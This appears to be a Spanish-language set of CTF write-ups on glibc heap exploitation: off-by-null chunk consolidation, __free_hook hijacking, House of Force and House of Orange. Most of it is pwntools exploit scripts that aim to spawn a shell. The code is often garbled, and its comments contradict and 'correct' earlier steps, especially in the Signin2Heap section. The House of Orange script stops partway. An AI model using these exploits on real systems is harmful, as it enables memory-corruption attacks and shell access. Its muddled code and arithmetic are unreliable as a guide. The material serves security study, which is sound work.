# Queremos escribir en `__free_hook`, que está en `libc`.
# El offset de `__free_hook` desde `note_array_addr - 0x18` es:
# `free_hook_addr - (note_array_addr - 0x18)`
# = `free_hook_addr - note_array_addr + 0x18`
# Este payload se escribe en el primer elemento del array de punteros a chunks,
# que ahora ha sido secuestrado.
# El primer 0x18 bytes son los metadatos de un chunk que se está asignando.
# Después de los metadatos, se encuentran los datos de usuario.
# Aquí, los datos de usuario serán `free_hook_addr`, `0x98` (tamaño falso para `__free_hook`),
# y luego `/bin/sh\x00`.
payload_write = p64(0) * 3 # Relleno para metadatos del chunk (3 * 8 bytes)
payload_write += p64(free_hook_addr) # Sobrescribir el puntero en `note[0]` para apuntar a `__free_hook`
payload_write += p64(0x98) # Tamaño falso para el chunk en `__free_hook` (no crítico aquí)
payload_write += p64(note_array_addr + 24) + b"/bin/sh\x00" # Escribir "/bin/sh" en alguna parte cercana,
# por ejemplo, el siguiente puntero en el array.
# No es directamente `free_hook_addr`.
editar_nota(0, payload_write)
# El objetivo es sobrescribir el puntero en `free_hook_addr` con `system_func_addr`.
# Con `edit(0, ...)` y el secuestro del array de punteros, `note[0]` puede ser controlado.
# Si `note[0]` apunta a `free_hook_addr`, entonces `edit(0, p64(system_func_addr))`
# escribirá `system_func_addr` en `free_hook_addr`.
system_func_addr = libc_base + libc.sym['system']
editar_nota(0, p64(system_func_addr))
# depurar() # Punto de depuración final
# Liberar el chunk con índice 1.
# La función `delete` tomará el puntero `note[1]`, que ahora apunta a `free_hook_addr`.
# `free(note[1])` se convertirá en `system(note[1])`.
# Si `note[1]` no contiene `/bin/sh`, entonces se debe liberar el chunk con el payload.
# En este exploit, `note[1]` ya fue liberado.
# El `edit(0, payload_write)` ya ha escrito `system_func_addr` en `free_hook_addr`.
# Ahora necesitamos que se llame a `free` con un argumento que sea `/bin/sh`.
# Si `note[2]` contiene `/bin/sh`, podemos liberar `note[2]`.
# El exploit original modifica `note[0]` para que apunte a `free_hook`.
# Luego, `edit(0, p64(system_addr))` escribe en `free_hook`.
# Luego, `delete(1)` se convierte en `system(chunk_ptr[1])`.
# Pero el `edit(0, payload_write)` ya ha colocado `"/bin/sh\x00"` en `note_array_addr + 24`.
# Esto significa que `note[3]` (índice 3 en el array de chunks) apunta a `/bin/sh`.
# Entonces, `delete(3)` ejecutará `system("/bin/sh")`.
borrar_nota(3) # Invoca system("/bin/sh")
interactuar()
hgame2025 Signin2Heap
Descripción: Desafío en glibc 2.27 con off-by-null, sin UAF ni edit directo. Se explota la fusión de chunks hacia atrás para filtrar la dirección base de libc y secuestrar __free_hook.
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
nombre_binario = "./pwn" # Asumo que el binario es './pwn'
e = ELF(nombre_binario)
p = process(nombre_binario) # Para ejecución local
# p = remote('IP_REMOTO', PUERTO_REMOTO) # Para remoto
libc = ELF('./libc-2.27.so') # Librería libc específica (versión 2.27)
def depurar():
gdb.attach(p)
# gdb.attach(p, 'b *0xDIRECCION_BREAKPOINT\nc')
# Funciones de interacción del menú
def anadir_bloque(idx, tamano, contenido):
p.sendlineafter("Index: ", str(idx))
p.sendlineafter("Size: ", str(tamano))
p.sendafter("Content: ", contenido)
def borrar_bloque(idx):
p.sendlineafter("Index: ", str(idx))
def mostrar_bloque(idx):
p.sendlineafter("Index: ", str(idx))
# --- Paso 1: Filtrar la dirección base de libc ---
# Llenar tcache (0xf8 bytes -> 0x100 tamaño real)
for i in range(7): # Chunks 0-6
anadir_bloque(i, 0xf8, b'a')
# Chunk 7: Para que entre en unsorted bin.
anadir_bloque(7, 0xf8, b'a')
# Chunk 8: Pequeño, para que su `prev_inuse` sea modificable por `off-by-null`.
anadir_bloque(8, 0x68, b'a') # 0x68 bytes -> 0x70 tamaño real
# Chunk 9: Para ser el objetivo de la fusión hacia atrás.
anadir_bloque(9, 0xf8, b'a') # 0xf8 bytes -> 0x100 tamaño real
# Chunk 10: Para evitar que chunk 9 se fusione con el top chunk.
anadir_bloque(10, 0x68, b'a')
# Vaciar tcache (0xf8)
for i in range(7):
borrar_bloque(i)
# Liberar chunk 7 (0xf8). Va directamente a unsorted bin.
borrar_bloque(7)
# Liberar chunk 8 (0x68). Va a tcache (0x70).
borrar_bloque(8)
# Ahora, vamos a usar `add` para reasignar el chunk 8, y usar `off-by-null`.
# El contenido se escribe hasta `size`, y luego se añade un `\x00`.
# Queremos reasignar el chunk 8 (0x70) para sobrescribir el `prev_size` y `size` del chunk 9.
# El chunk 8 (índice 8) es de 0x70. Lo reasignamos con `0x68` bytes, que son 0x70 reales.
# El `off-by-null` sobrescribirá el byte después de los 0x70 bytes, que es el `prev_inuse` de chunk 9.
# Queremos que la cabecera del chunk 9 se vea así:
# prev_size = 0x70 (tamaño de chunk 8)
# size = 0x100 (tamaño de chunk 9) | PREV_INUSE = 0
# Esto simula que el chunk 8 (el que acabamos de reasignar) está libre, y que el chunk 9
# es el siguiente chunk.
anadir_bloque(8, 0x68, b'a'*0x60 + p64(0x100 + 0x70)) # Tamaño de chunk 8 + chunk 9, con PREV_INUSE de chunk 9 a 0.
# Esto no es del todo preciso. Queremos:
# prev_size (chunk 9) = 0x70 (size of chunk 8)
# size (chunk 9) = 0x100 | PREV_INUSE = 0 (baja el bit)
# Si escribimos 0x68 bytes, el `\x00` se escribe en `chunk9->prev_size`.
# Esto es un `off-by-null`. Necesitamos un `off-by-one` para modificar el `prev_size`
# de chunk 9 y su `prev_inuse` (bit 0x1 del size).
# Reanalizando el `off-by-null` de `add`:
# `read(0, *(&books + idx), size); *(*(&books + idx) + size_4) = 0;`
# Si `size` es 0x68, se leen 0x68 bytes. El `\x00` se escribe en el byte 0x68.
# Si el chunk 8 es de 0x70 bytes (0x68 de usuario + 0x8 de metadatos), entonces el byte 0x68 es el
# primer byte de `chunk9->prev_size`.
# Esto significa que el `off-by-null` sobrescribe el `prev_size` del chunk 9 con un 0 inicial,
# y la bandera `PREV_INUSE` del chunk 9 con 0 (si el último byte de 0x70 es 0x00).
# Para esto necesitamos un `off-by-one` para sobrescribir `chunk9->prev_size` a `0x70` y
# el bit `PREV_INUSE` del `chunk9->size` a 0.
# La estrategia aquí es que `add(8, 0x68, ...)` sobrescribe el `prev_size` de `chunk9`
# a 0x70 y el bit `PREV_INUSE` de `chunk9->size` a 0.
# El contenido a escribir es `b'a'*0x60 + p64(0x100+0x70)`. Esto es 0x68 bytes.
# La parte `p64(0x100+0x70)` es `0x0000000000000170`.
# Esto significa que `chunk9->prev_size` será 0x70 (primer byte), y `chunk9->size` tendrá el bit 0.
anadir_bloque(8, 0x68, b'a'*0x60 + p64(0x100 + 0x70)) # Sobrescribe `chunk9->prev_size` con `0x70` y `chunk9->size` con bit `PREV_INUSE = 0`.
# `0x100` es el tamaño original del chunk 9.
# `0x70` es el tamaño del chunk 8 (previo).
# Esto es para que la fusión de chunk 9 con chunk 8 sea exitosa.
# Liberar chunk 9. Esto provoca la consolidación hacia atrás.
# Chunk 9 se fusiona con el chunk 8 (0x70) y el chunk 7 (0x100).
# El tamaño total del chunk fusionado es 0x100 + 0x70 + 0x100 = 0x270.
# Este nuevo chunk de 0x270 está en el unsorted bin.
borrar_bloque(9)
# Reasignar chunks para que el unsorted bin se vacíe y podamos filtrarlo.
# Llenar tcache (0xf8) para que el unsorted bin sea el siguiente en ser usado.
for i in range(7):
anadir_bloque(i, 0xf8, b'/bin/sh\x00') # Contenido arbitrario
# Asignar el chunk 7 de nuevo. Esto consume el chunk de 0x270 del unsorted bin.
# Pero lo que queremos es filtrar el fd del unsorted bin antes de que se use.
# El truco es reasignar el chunk 7 para que el unsorted bin se reemplace con un nuevo top chunk.
anadir_bloque(7, 0xf8, b"cccccccc") # Ahora se asigna un chunk del unsorted bin.
# El unsorted bin original se mueve a `small bins` o `large bins`.
# Filtrar la dirección de libc base a través del `show` de un chunk que ha sido afectado por el unsorted bin.
# Si el chunk 8 fue parte de la consolidación, su puntero `fd` ahora apunta a libc.
mostrar_bloque(8) # Muestra el chunk 8 (que es el comienzo del unsorted bin fusionado).
# El offset 0x3EBCA0 es específico para esta libc y la versión 2.27 (asumido por el offset).
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x3EBCA0
print('Libc Base:', hex(libc_base))
system_func_addr = libc_base + libc.sym['system']
free_hook_addr = libc_base + libc.sym["__free_hook"]
# --- Paso 2: Secuestrar __free_hook ---
# Vaciar el unsorted bin (que ahora tiene el chunk de 0x270)
# Reasignar el chunk 11 (índice arbitrario) para que sea un chunk de 0x68 (0x70 real).
# Esto lo sacará del unsorted bin.
anadir_bloque(11, 0x68, b'b') # Originalmente chunk 8.
# Reasignar el chunk 9 (0xf8) de nuevo, sacándolo también del unsorted bin.
anadir_bloque(9, 0xf8, b'c') # Originalmente chunk 9.
# --- Volver a realizar la fusión hacia atrás para atacar __free_hook ---
# Repetir la secuencia para generar un double free o un UAF en tcache.
# Llenar tcache (0xf8)
for i in range(7):
borrar_bloque(i)
# Liberar chunk 7 (0xf8) (va a unsorted bin)
borrar_bloque(7)
# Liberar chunk 11 (el antiguo chunk 8 de 0x68, va a tcache 0x70)
borrar_bloque(11)
# Reasignar chunk 11 con `off-by-null` para manipular chunk 9
anadir_bloque(11, 0x68, b'a'*0x60 + p64(0x170)) # (0x100 + 0x70)
# Liberar chunk 9 para fusionar (chunk 7 + chunk 8 + chunk 9)
borrar_bloque(9) # Fusiona 0xf8 + 0x68 + 0xf8 = 0x270 en unsorted bin.
# Asignar un chunk de 0x68 (0x70 real). Esto es para que entre en tcache.
anadir_bloque(7, 0x68, b'a') # Esta es la primera asignación que toma de unsorted bin.
# El remanente de 0x270 se convierte en 0x200 para el unsorted bin.
# Liberar chunk 11 (el antiguo chunk 8 de 0x68). Va a tcache 0x70.
# Este es el chunk que vamos a manipular para secuestrar tcache.
borrar_bloque(11)
# Reasignar chunk 12 (arbitrario) para manipular el puntero `fd` del chunk 11.
# El chunk 12 se asigna encima del chunk 11, y su contenido se utiliza para sobrescribir
# el puntero `fd` del chunk 11, apuntando a `__free_hook`.
# El chunk 11 (0x70) es el que está en tcache. Su `fd` está en el offset 0x0.
# anadir_bloque(12, 0x98, b'c'*0x80 + p64(0x100) + p64(0x70) + p64(free_hook_addr)) # Esto es para tcache poisoning.
# Si el chunk 11 está en tcache, su `fd` apunta al siguiente chunk en tcache.
# Queremos sobrescribir el `fd` del chunk 11 con `free_hook_addr`.
# No tenemos `edit` directo. Solo `add`.
# La idea es que `anadir_bloque(12,...)` se reasigne en `chunk11` y escriba `free_hook_addr`.
# El chunk 11 ya ha sido liberado. Lo podemos reasignar.
anadir_bloque(11, 0x68, p64(free_hook_addr)) # Reasigna chunk 11, su contenido es `free_hook_addr`.
# Ahora `tcache[0x70]` tiene un puntero a `free_hook_addr`.
# La próxima asignación de 0x68 bytes devolverá `free_hook_addr`.
anadir_bloque(13, 0x68, b'/bin/sh\x00') # Este chunk se asigna en `free_hook_addr`.
# La siguiente asignación de 0x68 bytes no asignará en `__free_hook_addr`.
# Pero el anterior `anadir_bloque(13,...)` ha escrito `/bin/sh\x00` en `__free_hook_addr`.
# Ahora el `__free_hook` se tiene que sobrescribir con `system`.
# No hay un índice directo para el chunk en `__free_hook_addr`.
# La estrategia es:
# 1. `borrar_bloque(11)` (chunk 11 en tcache)
# 2. `add(11, 0x68, p64(free_hook_addr))` (chunk 11 contiene `free_hook_addr`)
# 3. `add(12, 0x68, b'/bin/sh\x00')` (chunk 12 ocupa `free_hook_addr` y contiene `/bin/sh`)
# 4. `add(13, 0x68, p64(system_func_addr))` (chunk 13 sobrescribe `free_hook_addr` con `system`)
# Este `add(13, ...)` en realidad no sobrescribe `free_hook_addr`.
# Es el `add` que reasigna `free_hook_addr` el que debemos manipular.
# Vamos a corregir la secuencia después de `borrar_bloque(11)` (chunk 11 en tcache 0x70).
anadir_bloque(11, 0x68, p64(free_hook_addr)) # Reasigna chunk 11. Ahora `chunk_ptr[11]` apunta a `free_hook_addr`.
anadir_bloque(12, 0x68, b'/bin/sh\x00') # Asigna en `free_hook_addr` (índice 12).
anadir_bloque(13, 0x68, p64(system_func_addr)) # Asigna en el siguiente chunk (índice 13), no en `free_hook`.
# La estrategia para sobrescribir `__free_hook` con `system_func_addr` es:
# 1. Liberar `chunk 11` (0x70), va a tcache.
# 2. Reasignar `chunk 11` con `p64(free_hook_addr)`. Ahora `tcache[0x70]` tiene `free_hook_addr -> ...`.
# 3. `add(..., 0x68)` (primer `add` para 0x70): Esto asigna memoria en `free_hook_addr`.
# 4. `add(..., 0x68)` (segundo `add` para 0x70): Esto es el chunk que ahora contiene `/bin/sh`.
# Secuencia revisada:
# depurar() # Antes de la inyección
# Liberar `chunk 11` (0x68). Va a tcache (0x70).
borrar_bloque(11)
# Asignar `chunk 11` de nuevo. Su contenido se usará para el `fd` de tcache.
anadir_bloque(11, 0x68, p64(free_hook_addr)) # `chunk_ptr[11]` apunta a `free_hook_addr`.
# Asignar un chunk de 0x68 (0x70 real). Este será el chunk que se asigna en `free_hook_addr`.
anadir_bloque(12, 0x68, b'/bin/sh\x00') # Chunk en `free_hook_addr`, índice 12.
# Asignar otro chunk de 0x68. Este será el que sobrescribe `free_hook_addr`.
anadir_bloque(13, 0x68, p64(system_func_addr)) # Chunk en `free_hook_addr + 0x70`, índice 13.
# Esto es incorrecto. El `add` asigna el *siguiente* chunk.
# El `add` en `free_hook_addr` ya ha ocurrido.
# Debemos sobrescribir el contenido de `chunk_ptr[12]`.
# La forma correcta de usar `add` para sobrescribir `free_hook_addr` con `system_func_addr` es:
# Después de `anadir_bloque(11, 0x68, p64(free_hook_addr))`, el `fd` de tcache apunta a `free_hook_addr`.
# La próxima asignación (`anadir_bloque(12, 0x68, contenido)`) obtiene la memoria en `free_hook_addr`.
# Entonces, el `contenido` de esa asignación sobrescribe `free_hook_addr`.
# Revisando el plan final:
# Liberar chunk 11 (0x68) -> va a tcache 0x70
borrar_bloque(11)
# anadir chunk 11 con free_hook_addr como fd.
anadir_bloque(11, 0x68, p64(free_hook_addr)) # Chunk 11 ahora es falso y tiene `free_hook_addr` en su `fd`.
# Anadir otro chunk, para que obtenga la dirección de `free_hook_addr`.
anadir_bloque(12, 0x68, p64(system_func_addr)) # Chunk 12 se asigna en `free_hook_addr` con `system_func_addr`.
# Anadir otro chunk, para que contenga "/bin/sh".
anadir_bloque(13, 0x68, b'/bin/sh\x00') # Chunk 13 contiene "/bin/sh".
# depurar() # Verificar el estado del heap antes de la ejecución.
# Liberar el chunk 13, que contiene "/bin/sh\x00". Esto invocará `free(__free_hook)` que ahora es `system("/bin/sh")`.
borrar_bloque(13)
interactuar()
House of Force
Introducción
House of Force es una técnica de ataque dirigida al top chunk. Permite al atacante actualizar el top chunk a una dirección arbitraria en memoria. Esto, a su vez, posibilita solicitar un nuevo bloque de heap en esa dirección controlada y escribir datos en ella, logrando así una primitiva de escritura arbitraria.
Principio
En las versiones de libc 2.23, 2.27 y 2.29, no existen verificaciones de validez para el tamaño del top chunk. Si podemos controlar el campo de tamaño del top chunk (generalmente a través de un desbordamiento de búfer) y la función malloc permite solicitudes de tamaños arbitrarios, podemos llevar a cabo este ataque.
Cuando la función malloc se ejecuta y no encuentra ningún chunk disponible en los bins para satisfacer la solicitud, intenta dividir un segmento del top chunk. La lógica relevante es:
victim = av->top; // Obtiene la dirección actual del top chunk
size = chunksize (victim); // Calcula el tamaño del top chunk
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
// MINSIZE es el tamaño mínimo de un chunk (0x10 en 32 bits, 0x20 en 64 bits).
// Si el tamaño del top chunk es mayor o igual que el tamaño de la solicitud (nb)
// más MINSIZE, se divide un trozo del top chunk.
// Se suma MINSIZE para asegurar que el remanente sea un chunk válido.
{
remainder_size = size - nb; // Tamaño restante después de la división
remainder = chunk_at_offset (victim, nb); // `remainder` es `victim + nb`, la nueva dirección del top chunk
av->top = remainder; // Actualiza el top chunk
// `set_head` establece los nuevos tamaños para el chunk asignado y el nuevo top chunk.
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb); // Funciones de depuración, no relevantes para el exploit
void *p = chunk2mem (victim); // Devuelve el puntero de usuario
alloc_perturb (p, bytes);
return p;
}
El punto clave de la vulnerabilidad reside en la línea remainder = chunk_at_offset (victim, nb). Si podemos controlar el valor de nb (el tamaño de la solicitud), podemos controlar la dirección de remainder, que es la nueva dirección del top chunk.
Controlando la Dirección del Top Chunk
Analicemos cómo controlar con precisión la dirección del top chunk. La ecuación remainder = chunk_at_offset (victim, nb) es equivalente a:
victim + nb = nuevo_top_chunk
victim: Dirección de la cabecera deltop chunkantes de la división.nb: Tamaño de memoria solicitado (incluyendo metadatos).nuevo_top_chunk: Dirección de la cabecera deltop chunkdespués de la división.
Expandiendo nb y nuevo_top_chunk:
nb = request_size + 0x10 // request_size es el tamaño solicitado por malloc, + 0x10 de metadatos (en 64 bits)
target_addr = nuevo_top_chunk + 0x10 // target_addr es la dirección a la que queremos escribir, dentro de la sección de datos.
Sustituyendo esto en la ecuación principal:
victim + (request_size + 0x10) = (target_addr - 0x10)
Reorganizando para obtener request_size:
request_size = target_addr - 0x20 - victim
Esto significa que el tamaño de memoria que debemos solicitar (request_size) es igual a la dirección a la que queremos que el top chunk apunte (target_addr), menos la dirección original del top chunk (victim), menos 0x20 (o 0x10 en 32 bits).
Verificación de Tamaño en House of Force
Antes de que malloc actualice el top chunk, realiza una verificación: if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)). Dado que request_size (y por tanto nb) suele ser un valor negativo para lograr un desplazamiento "hacia atrás", al ser convertido a un entero sin signo, se convierte en un número muy grande. Si el tamaño original del top chunk (size) fuera normal, esta verificación fallaría. Por lo tanto, una condición crucial para House of Force es poder controlar el campo size del top chunk (normalmente mediante desbordamiento) y establecerlo a -1. -1, cuando se convierte a un entero sin signo, se convierte en el valor máximo (0xffffffffffffffff), lo que permite pasar la verificación sin importar el valor de nb.
Una vez que el tamaño del top chunk se cambia a 0xffffffffffffffff, una llamada posterior a malloc(request_size) actualizará el top chunk a la dirección deseada. Cualquier asignación de memoria subsiguiente a partir de ese momento se realizará a partir de esta dirección controlada.
Resumen de la Técnica House of Force
- Versiones de libc aplicables: 2.23, 2.27, 2.29.
- Requisitos:
- Tamaño de los bloques de heap solicitado no limitado.
- Capacidad de manipular el campo
sizedeltop chunk(usualmente con un desbordamiento). - Dirección original del
top chunk(a veces no estrictamente necesario si se conoce el offset). - Dirección objetivo para el nuevo
top chunk(a veces no estrictamente necesario si se conoce el offset).
- Efecto del ataque: Permite actualizar el
top chunka cualquier dirección conocida, y luego solicitar y escribir datos en esa nueva área del heap, logrando así una primitiva de escritura arbitraria. - Medidas de defensa: Verificaciones de validez en el campo
sizedeltop chunk.
Ejemplo: 143
Descripción: Un desafío con RELRO parcial y sin PIE en glibc 2.23. Existe una función backdoor que imprime la bandera. El objetivo es usar House of Force para cambiar un puntero de función global (v4[1]) a la dirección de la función backdooor.
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# Configuración del programa
nombre_binario = "./pwn" # Asumo que el binario es './pwn'
io = process(nombre_binario)
# io = remote('IP_REMOTO', PUERTO_REMOTO) # Para remoto (ajustar si es necesario)
elf = ELF(nombre_binario) # Para obtener direcciones del binario
# libc = ELF('./libc-2.23.so') # La libc no es estrictamente necesaria para este exploit
def depurar():
gdb.attach(io)
# Funciones de interacción del menú
def enviar_comando(x):
io.recvuntil(b'Your choice:')
io.sendline(str(x))
def anadir_bloque(tamano, datos):
enviar_comando(2)
io.recvuntil(b'Please enter the length:')
io.sendline(str(tamano))
io.recvuntil(b'Please enter the name:')
io.sendline(datos)
def borrar_bloque(idx):
enviar_comando(4)
io.recvuntil(b'Please enter the index:')
io.sendline(str(idx))
def mostrar_bloque():
enviar_comando(1)
def editar_bloque(idx, tamano, datos):
enviar_comando(3)
io.recvuntil(b'Please enter the index:')
io.sendline(str(idx))
io.recvuntil(b'Please enter the length of name:')
io.sendline(str(tamano))
io.recvuntil(b'Please enter the new name:')
io.sendline(datos)
# Dirección de la función backdoor (asumida desde el análisis del binario)
# Esta dirección es el `flag_function` o similar.
DIRECCION_BACKDOOR = 0x400d7f # Reemplazar con la dirección real del backdoor
# La variable `v4` se asigna en el heap y contiene punteros a funciones.
# `v4[0]` apunta a `hello_message`, `v4[1]` apunta a `goodbye_message`.
# Queremos sobrescribir `v4[1]` con la `DIRECCION_BACKDOOR`.
# `v4` se asigna con `malloc(0x10uLL)`, por lo que es un chunk de 0x20.
# `v4[1]` estará en el offset 0x8 del chunk (si es `_QWORD* v4`).
# El chunk de `v4` se asigna al principio del heap.
# Crear un chunk arbitrario (0x38 bytes -> 0x40 tamaño real).
# Este chunk será el `chunk_ptr[0]`.
anadir_bloque(0x38, b'aaaa')
# Editar el chunk 0 para realizar un `off-by-one` y sobrescribir el tamaño del top chunk.
# El tamaño del chunk 0 es 0x40 (real).
# La cabecera del top chunk está inmediatamente después.
# Queremos sobrescribir el `size` del top chunk a 0xffffffffffffffff.
# El payload es 0x38 bytes de 'a' (para rellenar el chunk), seguido de `p64(0xffffffffffffffff)`.
editar_bloque(0, 0x50, b'a'*(0x38) + p64(0xffffffffffffffff)) # Sobrescribe el size del top chunk.
# depurar() # Observar el top chunk size en gdb
# Calcular el tamaño `request_size` para mover el `top chunk` a la dirección `v4[1]`.
# `target_addr` (donde queremos escribir) = `DIRECCION_BACKDOOR`
# `victim` (top chunk original) = dirección del `top chunk` después de `anadir_bloque(0x38)`.
# El primer chunk es de 0x40. El top chunk original estará en `heap_base + 0x40`.
# La dirección de `v4[1]` estará en `heap_base + 0x8` (aproximadamente, dependiendo del primer malloc(0x10)).
# La estructura de `v4` es `_QWORD v4[2]`.
# `v4` es el primer chunk asignado en el heap. `malloc(0x10)` asigna un chunk de 0x20.
# Así, `v4[0]` está en `heap_base`, `v4[1]` está en `heap_base + 0x8`.
# El `top chunk` está en `heap_base + 0x20` (después de v4) + `0x40` (después de chunk 0).
# Es decir, `heap_base + 0x60`.
# Queremos que el `top chunk` se mueva a `heap_base + 0x8` (la dirección de `v4[1]`).
# `target_addr` = `heap_base + 0x8` (dirección a la que queremos escribir)
# `victim` = `heap_base + 0x60` (dirección original del top chunk)
# `request_size = (heap_base + 0x8) - 0x20 - (heap_base + 0x60)`
# `request_size = 0x8 - 0x20 - 0x60 = -0x78`
# Pero el tamaño es `target_addr - (victim + 0x10)` porque `nb = request_size + 0x10`.
# `remainder = victim + nb`.
# `target_addr - 0x10` (para llegar a la cabecera de `v4[1]`)
# `request_size = (heap_base + 0x8 - 0x10) - 0x10 - (heap_base + 0x60)` = `-0x78`
# El tamaño para `malloc` es `request_size = target_addr - 0x20 - victim`.
# Asumiendo `v4[1]` está en `heap_base + 0x8`. El top chunk está en `heap_base + 0x60`.
# `target_addr = heap_base + 0x8`.
# `victim = heap_base + 0x60`.
# `request_size = (heap_base + 0x8) - 0x20 - (heap_base + 0x60) = 0x8 - 0x20 - 0x60 = -0x78`.
# Para que el `malloc` funcione, el `request_size` (negativo) se alinea a 0x10.
# Un `request_size` de `-0x78` se convierte a `0xffffffffffffff88`.
# El `malloc` necesita `nb` bytes. `nb = request_size + 0x10`.
# Si `request_size = -0x78`, entonces `nb = -0x78 + 0x10 = -0x68`.
# Cuando se llama a `malloc` con `-0x68`, el gestor interpreta `nb` como el tamaño a solicitar.
# `remainder = victim + nb = (heap_base + 0x60) + (-0x68) = heap_base - 0x8`.
# Queremos que `remainder` sea la cabecera del chunk de `v4[1]`.
# La cabecera de `v4[1]` sería `heap_base - 0x8`.
# Entonces `request_size` debe ser `-0x68` (0x70) para que el `top chunk` se mueva a `v4[1]`.
# El ejemplo usa `0x68`. Entonces el `request_size` para `add` es `-0x68`.
# Este es el tamaño `nb` que se usa en `chunk_at_offset`.
# `size` para `add` es `-(0x68)`
size_para_malloc = -(0x68) # Este es el `nb` en la fórmula.
enviar_comando(2) # Opción para añadir un chunk
io.recvuntil(b'Please enter the length:')
io.sendline(str(size_para_malloc)) # `malloc` se llama con este tamaño.
# Esto mueve el top chunk a `v4[1]` (la cabecera del chunk).
# El área de datos de `v4[1]` está 0x10 bytes después.
# Ahora el `top chunk` apunta a la cabecera de `v4[1]`.
# Una nueva asignación de 0x18 bytes (0x20 real) escribirá en `v4[1]`.
# `p64(0x400d7f)` es la dirección de la función backdoor.
anadir_bloque(0x18, b'x'*8 + p64(DIRECCION_BACKDOOR)) # Escribe en `v4[1]` (el offset es 0x8).
# depurar() # Observar `v4[1]` en gdb
# Llamar a la función que invoca `v4[1]()`.
enviar_comando(5)
io.interactive()
House of Orange
Causas de la Vulnerabilidad
Desbordamiento de heap para sobrescribir metadatos.
Alcance
glibc 2.23a2.27- No hay función
freedisponible (o está limitada). - Se puede realizar un
unsortedbin attack.
Principio de Explotación
House of Orange fue pionera en la combinación de exploits de heap y IO, ofreciendo una técnica muy elegante. El proceso de explotación se basa en las propiedades del top chunk y se desarrolla en dos fases:
Fase 1: Preparación del unsortedbin y top chunk
- Se asigna un
chunk A. Se asume que eltop chunkactual tiene un tamaño0xWXYZ. - Se realiza un desbordamiento en el
chunk Apara modificar elsizedeltop chunka un valor0xXYZ(debe satisfacer las condiciones de alineación de página, es decir,top\_chunk\_addr + size - 1debe ser un múltiplo de0x1000). - Se solicita un nuevo
chunkde tamaño mayor que0xXYZ. Esto provoca que eltop chunkse expanda (grow), y el antiguotop chunk(old top_chunk) se libera, entrando en elunsortedbin.
Fase 2: Ataque a \_IO\_list\_all y ejecución arbitraria
- Se realiza otro desbordamiento en el
chunk Apara manipular elold top_chunkque ahora está en elunsortedbin. Se modifica susizea0x61y su punterobka&\_IO\_list\_all - 0x10. Al mismo tiempo, se falsifica una estructura\_IO\_FILE. - Cuando se solicita un
chunkde tamaño diferente a0x60, se activa elunsortedbin attack. Esto sobrescribe_IO_list_allconmain\_arena + 88. Luego, elunsortedbin chunkse moverá asmallbin(tamaño0x60). A continuación, la iteración a través delunsortedbindesencadenamalloc\_printerr. - La cadena de llamadas es:
malloc\_printerr -> libc\_message -> abort -> \_IO\_flush\_all\_lockp, que finalmente invoca el puntero a función en lavtablefalsificada de la estructura\_IO\_FILE.
Técnicas Relacionadas
Al falsificar la cabecera del heap, tenga en cuenta:
- El tamaño original del
old top chunkdebe ser mayor queMINSIZE. - El bit
PREV\_INUSEdelold top chunkdebe ser 1. - La dirección del
old top chunkmás su tamaño debe estar alineada a la página (address & 0xfff = 0x000). - El tamaño del
old chunkdebe ser menor que el tamaño del chunk solicitado másMINSIZE.
Nota: Si el tamaño del chunk solicitado es mayor que 0x20000, se asignará memoria a través de mmap y no se expandirá el top chunk.
- Después de
glibc-2.24, se añadió una verificación devtable, impidiendo la falsificación arbitraria devtable. Sin embargo, se puede explotar usando la estructura\_IO\_str\_jumps. - Después de
glibc-2.26,malloc\_printerrya no vacía los flujos de IO, haciendo que este método sea ineficaz. - La aleatoriedad del signo de
\_modepuede causar fallos en el exploit (aproximadamente 1/2 de probabilidad).
Efectos del Exploit
- Ejecución de funciones arbitrarias.
- Ejecución de comandos arbitrarios.
Ejemplo: house of orange
Descripción: Un ejemplo práctico de House of Orange, donde se explota un desbordamiento de heap para secuestrar la estructura _IO_list_all y lograr la ejecución de código.
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
nombre_binario = "./pwn"
# io = remote("challenge-9561693a08b85dd4.sandbox.ctfhub.com",28608) # Para remoto
io = process(nombre_binario) # Para local
elf = ELF(nombre_binario)
libc = ELF("./libc-2.23.so") # Librería libc específica (versión 2.23)
def depurar_gdb():
gdb.attach(io)
# Funciones de interacción del menú (simplificadas)
enviar = lambda data: io.send(data)
enviar_despues = lambda delim, data: io.sendafter(delim, data)
enviar_linea = lambda data: io.sendline(data)
enviar_linea_despues = lambda delim, data: io.sendlineafter(delim, data)
recibir = lambda num=4096: io.recv(num)
recibir_hasta = lambda delims: io.recvuntil(delims)
interactuar = lambda: io.interactive()
u32_peq = lambda data: u32(data.ljust(4,b'\x00'))
u64_peq = lambda data: u64(data.ljust(8,b'\x00'))
log_success = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
def anadir_nota(tamano, datos):
recibir_hasta(b"Input your choice >> \n")
enviar_linea(b"1")
recibir_hasta(b"How long is your note?")
enviar_linea(str(tamano))
recibir_hasta(b"Please write your note now:")
enviar(datos)
def mostrar_nota():
recibir_hasta(b"Input your choice >> \n")
enviar_linea(b"2")
def editar_nota(idx, tamano, datos):
recibir_hasta(b"Input your choice >> \n")
enviar_linea(b"3")
recibir_hasta(b"Which note do you want to change?")
enviar_linea(str(idx))
recibir_hasta(b"Please input the size of your note:")
enviar_linea(str(tamano))
recibir_hasta(b"Please write your new note:")
enviar(datos)
# --- Fase 1: Preparación del unsortedbin y top chunk ---
# Anadir un chunk (0x20 bytes -> 0x30 tamaño real)
anadir_nota(0x20, b"aaaa") # Chunk 0
# Editar chunk 0 con un desbordamiento para modificar el tamaño del top chunk.
# El tamaño 0xfd1 es un valor grande que simula que el top chunk tiene mucho espacio.
# También asegura que al hacer la expansión, el `old top_chunk` quede alineado a página.
editar_nota(0, -1, p64(0)*5 + p64(0xfd1)) # Desborda y cambia el tamaño del top chunk.
# Solicitar un chunk grande (0x1000 bytes) para forzar la expansión del top chunk.
# El `old top_chunk` (que manipulamos) se libera y entra en el unsortedbin.
anadir_nota(0x1000, b"a") # Chunk 1: Esto activa la expansión y el old top chunk va a unsortedbin.
# Solicitar un chunk de 0x400. Esto consumirá parte del unsortedbin si es posible.
